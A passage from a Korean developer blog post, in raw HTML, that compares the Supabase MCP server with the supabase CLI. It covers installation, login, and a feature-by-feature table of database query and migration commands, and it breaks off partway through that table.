&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;오늘은 &lt;b&gt;Supabase MCP&lt;/b&gt;와 &lt;b&gt;supabase CLI&lt;/b&gt;를 직접 비교해보려고 한다. &quot;AI 기반 DB 관리는 MCP, 로컬 개발과 마이그레이션 파이프라인은 CLI&quot; &amp;mdash; 이 프레임이 실제로 맞는지 검증해보자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2286&quot; data-origin-height=&quot;1284&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Cd1Jt/dJMcahKt4GV/GPM09C2rPeU1oTEx4V7AiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Cd1Jt/dJMcahKt4GV/GPM09C2rPeU1oTEx4V7AiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Cd1Jt/dJMcahKt4GV/GPM09C2rPeU1oTEx4V7AiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCd1Jt%2FdJMcahKt4GV%2FGPM09C2rPeU1oTEx4V7AiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2286&quot; height=&quot;1284&quot; data-origin-width=&quot;2286&quot; data-origin-height=&quot;1284&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 요약 callout --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 4px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;한눈에 보는 결론&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;AI 기반 DB 설계/쿼리&lt;/b&gt;: MCP 우위 &amp;rarr; LLM이 스키마를 읽고 SQL을 작성하여 apply_migration까지 자동 처리&lt;/li&gt;
&lt;li&gt;&lt;b&gt;로컬 개발 환경&lt;/b&gt;: CLI만 가능 &amp;rarr; &lt;code&gt;supabase start&lt;/code&gt;로 Docker 기반 전체 스택(DB, Auth, Storage, Realtime, Studio) 구동&lt;/li&gt;
&lt;li&gt;&lt;b&gt;TypeScript 타입 생성&lt;/b&gt;: 양쪽 모두 가능 &amp;rarr; MCP &lt;code&gt;generate_typescript_types&lt;/code&gt; / CLI &lt;code&gt;supabase gen types --lang typescript&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;보안 점검&lt;/b&gt;: MCP 우위 &amp;rarr; &lt;code&gt;get_advisors&lt;/code&gt;로 보안/성능 어드바이저 + &lt;code&gt;execute_sql&lt;/code&gt; 조합&lt;/li&gt;
&lt;li&gt;&lt;b&gt;프로덕션 배포&lt;/b&gt;: CLI 우위 &amp;rarr; CI/CD 파이프라인에서 &lt;code&gt;supabase db push&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결론&lt;/b&gt;: CLI로 로컬 스택 띄우고, MCP로 스키마 설계/쿼리 &amp;mdash; 상호보완이 정답&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;비교의 배경 &amp;mdash; supabase CLI란 무엇인가?&lt;/li&gt;
&lt;li&gt;한눈에 보는 전체 비교표&lt;/li&gt;
&lt;li&gt;기능별 상세 비교&lt;/li&gt;
&lt;li&gt;시나리오 비교&lt;/li&gt;
&lt;li&gt;Skills + CLI 조합: 추천 스택&lt;/li&gt;
&lt;li&gt;MCP만 가능한 것 vs CLI만 가능한 것&lt;/li&gt;
&lt;li&gt;선택 가이드 &amp;amp; 결론&lt;/li&gt;
&lt;li&gt;참고 자료&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 1. 비교의 배경 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 비교의 배경 &amp;mdash; supabase CLI란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;먼저 비교 대상을 명확히 정의해두자. 이 글에서 비교하는 두 접근법은 다음과 같다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef; overflow-x: auto;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;Supabase MCP&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;supabase CLI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;정의&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Supabase 공식 MCP 서버 (원격 + CLI 로컬)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Supabase 공식 CLI 도구 (&lt;code&gt;supabase&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;설치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;claude mcp add --transport http supabase https://mcp.supabase.com/mcp&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;brew install supabase/tap/supabase&lt;/code&gt; 또는 &lt;code&gt;npm i -g supabase&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;인증&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;OAuth (브라우저) 또는 PAT&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;supabase login&lt;/code&gt; (브라우저) 또는 &lt;code&gt;--token&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;호출 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;MCP 프로토콜을 통해 Tool 호출 (자연어)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;supabase [command]&lt;/code&gt; (Bash)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;호환 환경&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Claude Code, Claude Desktop, Cursor, Windsurf&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;터미널 (Claude Code에서 Bash로 실행 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;주요 역할&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;AI 에이전트 기반 DB 관리, 스키마 설계, 쿼리&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;로컬 개발 환경, 마이그레이션, CI/CD 파이프라인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;supabase CLI&lt;/b&gt;는 Supabase 프로젝트의 로컬 개발부터 프로덕션 배포까지 전체 라이프사이클을 관리하는 도구이다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase start&lt;/code&gt; 한 줄이면 Docker로 PostgreSQL, Auth, Storage, Realtime, Studio까지 로컬에서 전부 띄울 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;반면 &lt;b&gt;Supabase MCP&lt;/b&gt;는 AI 에이전트가 원격 Supabase 프로젝트에 직접 접근하여 SQL을 실행하고, 스키마를 변경하고, 프로젝트를 관리하는 데 초점을 맞춘다. 32개 Tool을 8개 그룹으로 제공하며, DDL/DML을 분리하여 안전한 스키마 관리가 가능하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: supabase CLI &amp;ne; Supabase JS Client&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase&lt;/code&gt; CLI는 프로젝트 관리/개발용 도구이고, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;@supabase/supabase-js&lt;/code&gt;는 앱에서 Supabase API를 호출하는 클라이언트 라이브러리다. 이 글에서 비교하는 CLI는 전자를 의미한다.&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;MCP 프로토콜 기초&lt;/b&gt;&lt;br /&gt;MCP(Model Context Protocol)는 LLM이 외부 서비스와 상호작용하는 표준 프로토콜이다. Supabase MCP는 HTTP Remote MCP(Server-Sent Events 기반) 방식으로 동작하며, LLM이 Tool을 호출하면 결과가 context window에 직접 삽입된다. MCP 프로토콜 구조(JSON-RPC 2.0, 3대 Primitive, Tool Schema, Transport)에 대한 상세 설명은 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://goddaehee.tistory.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;Playwright MCP vs CLI 편&lt;/b&gt;&lt;/a&gt;에서 자세히 다루고 있으니 참고하자.&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;여기서 잠깐 supabase mcp는 이전글에서 설치했는데 supabase cli 도 설치해보겠다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;AI에게 단순히 설치 요청해도 설치 가능하다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;ex) brew&amp;nbsp;install&amp;nbsp;supabase/tap/supabase&lt;/p&gt;
&lt;pre id=&quot;code_1773756580209&quot; class=&quot;bash&quot; style=&quot;color: #333333;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;supabase --version
2.75.0
A new version of Supabase CLI is available: v2.78.1 (currently installed v2.75.0)
We recommend updating regularly for new features and bug fixes: https://supabase.com/docs/guides/cli/getting-started#updating-the-supabase-cli&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;ex) supabase&amp;nbsp;login&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1212&quot; data-origin-height=&quot;212&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bn3rZf/dJMcach5WE2/7mAynBxE9FM3LMsra99oYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bn3rZf/dJMcach5WE2/7mAynBxE9FM3LMsra99oYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bn3rZf/dJMcach5WE2/7mAynBxE9FM3LMsra99oYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbn3rZf%2FdJMcach5WE2%2F7mAynBxE9FM3LMsra99oYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1212&quot; height=&quot;212&quot; data-origin-width=&quot;1212&quot; data-origin-height=&quot;212&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;- 상기 터미널에 하기 웹 화면에서 복사한 인증 코드를 입력해 주자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1252&quot; data-origin-height=&quot;904&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpYX4n/dJMcahwWJhy/YIlkdkCjzWIqjGemhwkUV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpYX4n/dJMcahwWJhy/YIlkdkCjzWIqjGemhwkUV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpYX4n/dJMcahwWJhy/YIlkdkCjzWIqjGemhwkUV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpYX4n%2FdJMcahwWJhy%2FYIlkdkCjzWIqjGemhwkUV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1252&quot; height=&quot;904&quot; data-origin-width=&quot;1252&quot; data-origin-height=&quot;904&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;- 인증완료 되었다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1260&quot; data-origin-height=&quot;186&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AQJd2/dJMcaakhaiX/OLxVn9lO6rknVQOLvzVYz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AQJd2/dJMcaakhaiX/OLxVn9lO6rknVQOLvzVYz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AQJd2/dJMcaakhaiX/OLxVn9lO6rknVQOLvzVYz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAQJd2%2FdJMcaakhaiX%2FOLxVn9lO6rknVQOLvzVYz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1260&quot; height=&quot;186&quot; data-origin-width=&quot;1260&quot; data-origin-height=&quot;186&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 2. 전체 비교표 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 한눈에 보는 전체 비교표&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;30개 이상의 기능 항목을 직접 비교했다. 우위 컬럼의 색상 배지를 기준으로 빠르게 판단할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef; overflow-x: auto;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #4a6a8a; min-width: 160px;&quot;&gt;기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: center; border: 1px solid #4a6a8a; min-width: 120px;&quot;&gt;Supabase MCP&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: center; border: 1px solid #4a6a8a; min-width: 130px;&quot;&gt;supabase CLI&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: center; border: 1px solid #4a6a8a; min-width: 80px;&quot;&gt;우위&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;!-- 기본 설정 --&gt;
&lt;tr style=&quot;background-color: #eaf3ff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6; font-weight: bold; color: #1a3a52; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px;&quot; colspan=&quot;4&quot;&gt;기본 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;설치 방법&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;claude mcp add (원클릭)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;brew install 또는 npm -g&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;인증 방식&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;OAuth / PAT&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase login / --token&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;도구 수&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;32개 Tool (8개 그룹)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;20+ 명령어&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;Claude Desktop 호환&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✔ 지원&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 미지원&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;Read-only 모드&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✔ ?read_only=true URL 파라미터&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;!-- 데이터베이스 쿼리/실행 --&gt;
&lt;tr style=&quot;background-color: #eaf3ff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6; font-weight: bold; color: #1a3a52; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px;&quot; colspan=&quot;4&quot;&gt;데이터베이스 쿼리 / 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;SQL 실행 (DML)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;execute_sql&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;psql 또는 supabase 대시보드&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;테이블 목록 조회&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;list_tables&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;psql \dt 또는 대시보드&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;확장 목록 조회&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;list_extensions&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;psql \dx&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;AI가 SQL 자동 작성&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✔ LLM이 스키마 읽고 SQL 생성&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 수동 SQL 작성&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;!-- 스키마 &amp; 마이그레이션 --&gt;
&lt;tr style=&quot;background-color: #eaf3ff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6; font-weight: bold; color: #1a3a52; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px;&quot; colspan=&quot;4&quot;&gt;스키마 &amp;amp; 마이그레이션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;마이그레이션 적용 (DDL)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;apply_migration&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase db push&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;마이그레이션 이력 조회&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;list_migrations&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase migration list&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;스키마 차이 감지 (diff)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase db diff&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
